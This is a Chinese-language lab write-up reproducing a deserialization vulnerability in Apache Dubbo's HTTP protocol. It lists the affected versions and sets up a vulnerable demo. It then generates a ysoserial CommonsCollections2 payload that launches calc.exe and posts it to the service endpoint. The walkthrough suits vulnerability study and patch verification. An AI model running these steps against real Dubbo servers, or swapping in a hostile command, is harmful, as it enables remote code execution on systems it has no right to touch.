0x00 漏洞背景
①iiDubbo是一款高性能、轻量1级的开源java Rpc分布式服务框架。
②核心功能:
◉ 面向接口的远程过程调用
◉ 集群容错和负载均衡
◉ 服务自动注册与发现
③特点:
◉ 使用分层的架构模式,使得各个层次之间实现最大限度的解耦。
◉ 将服务抽象为服务提供者(Provider)与服务消费者(Consumer)两个角色。
0x01 影响范围
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
0x02 环境搭建
1.下载官方 demo 代码
(暴出的漏洞是 http 协议的,故使用 http 的 demo 来重现)
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3
在项目 pom 中添加 commons-collections4 依赖(测试漏洞用)
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
运行 demo 代码,会注册一个 /dubbo/org.apache.dubbo.samples.http.api.DemoService/providers 的服务
http://xx.x.x.x:8080/org.apache.dubbo.samples.http.api.DemoService?anyhost=true&application=http-provider&bean.name=org.apache.dubbo.samples.http.api.DemoService&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=org.apache.dubbo.samples.http.api.DemoService&methods=sayHello&pid=1428®ister=true&release=2.7.3&server=tomcat&side=provider×tamp=1582854833741
2.下载反序列化工具 ysoserial
https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar
生成漏洞代码保存到 payload.ser 中:(可以调用 windows 的计算器程序)
java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser
3.使用 postman 调用 dubbo 暴露的 http 接口
post http://localhost:8080/org.apache.dubbo.samples.http.api.DemoService
发送的数据包选择上一步生成的进制文件 payload.ser